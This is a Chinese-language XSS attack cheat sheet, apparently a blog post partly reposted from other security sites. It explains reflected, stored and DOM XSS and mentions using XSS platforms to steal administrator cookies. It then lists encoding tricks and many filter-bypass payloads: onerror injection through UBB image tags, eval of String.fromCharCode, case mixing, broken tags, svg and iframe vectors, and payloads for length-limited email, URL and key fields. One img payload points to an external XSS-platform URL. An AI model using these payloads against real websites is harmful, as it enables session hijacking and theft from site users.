0x01 xss漏洞简述
xss分类:
反射型XSS:需要欺骗用户自己去点击攻击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
存储型XSS(危害大):一般在个人资料或留言,图片上传文件名等地方存在此漏洞,这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookies
DOM型XSS:基于文档对象模型Document Objeet Model,DOM的一种漏洞.DOM是一个与平台,编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容,结构和样式,处理后的结果能够成为显示页面的一部分.DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。(dom型xss算是特殊的反射型xss,例如搜索框搜索后,网页标题出现搜索的内容。于是可在标签内闭合,然后插入xss恶意代码)
- xss平台:有许多模块,当用户收到xss恶意代码时,可从xss平台获得管理员cookie(前提是目标站没有httponly防护)
0×02 常用编码
URL编码:
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如“/”的URL编码为%2F(一般大写,但不强求),&字符被过滤时可尝试url编码
HTML实体编码:
命名实体:以&开头,分号结尾的,例如“<”的编码是“<”
字符编码:
十进制、十六进制ASCII码或unicode字符编码,样式为“&#数值;”,例如“<”可以编码为“<”和“<”
JS编码:js提供了四种字符编码的策略,
1、三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145”
2、两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65”
3、四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065”
4、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
例:
xss转16进制
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
xss转8进制
\74\163\143\162\151\160\164\76\141\154\145\162\164\50\47\160\157\162\165\151\156\47\51\74\57\163\143\162\151\160\164\76
CSS编码:用一个反斜线()后面跟1~6位的十六进制数字,例如e可以编码为“\65”或“65”或“00065”
复合编码:
所谓复合编码,也就是说输出的内容输出在多个环境中,例如
<td onclick=”openUrl(add.do?userName=’<%=value%>’);”>11</td>
value的内容首先出现在一个URL中,这个URL在一段javascript总,而javascript代码又是html的一部分。所以解码的顺序就是HTML解码–>js解码–>url解码,那么正确的编码顺序就应该是url编码–>js编码–>html编码。
0x03 绕过姿势
UBB标签
UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成 <img src=”url”></img>
这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
x"/**/onerror="alert('poruin')
那么经过转换后就变成了
<img src="x"/**/onerror="alert('poruin')"></img>
在JS中空格可以用/**/转换,如图:
JS还原函数
-
JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。
-
在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:
<img src=“x”/**/οnerrοr=“eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))”>
大小写或编码绕过
大小写
<sCRipt>aleRt(1)</sCRipt>
编码按照0x01所说
特别是浏览器解码顺序为
- html解码–>js解码,则可将javascript:alert(/xss/)进行html编码
- 浏览器解码顺序为js解码–>html解码,可进行js编码,绕过htmlspecialchars限制
双重标签绕过
遇到script过滤时,用<scrip绕过
非<script>
标签绕过
-
<img src=1 onerror=alert(2)>
<img type=image src=https://xsspt.com/qlk7io onerror
=prompt(1)>
onerror后要换行
和sql一样用闭合
"><script>;alert(2)</script>">
<script>alert('XSS')</script>
'><script>alert(document.cookie)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
框架注入"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
//链接注入
注:字段对输入字符有长度限制,这个可以通过burpsuite抓包改包绕过
受限情况下的 XSS 利用技巧
原文地址:https://brutelogic.com.br/blog/xss-limited-input-formats/
电子邮件
payload: "<svg/onload=alert(1)>"@x.y
URL(无查询)
payload: javascript://%250Aalert(1)
URL(带查询)
payload: javascript://https://domain.com/%250A1?alert(1):0
Key
payload(假设key限制条件为32字符的md5密钥): 12345678901<svg onload=alert(1)>
部分转自:https://www.freebuf.com/articles/web/43285.html
作者:0xExploit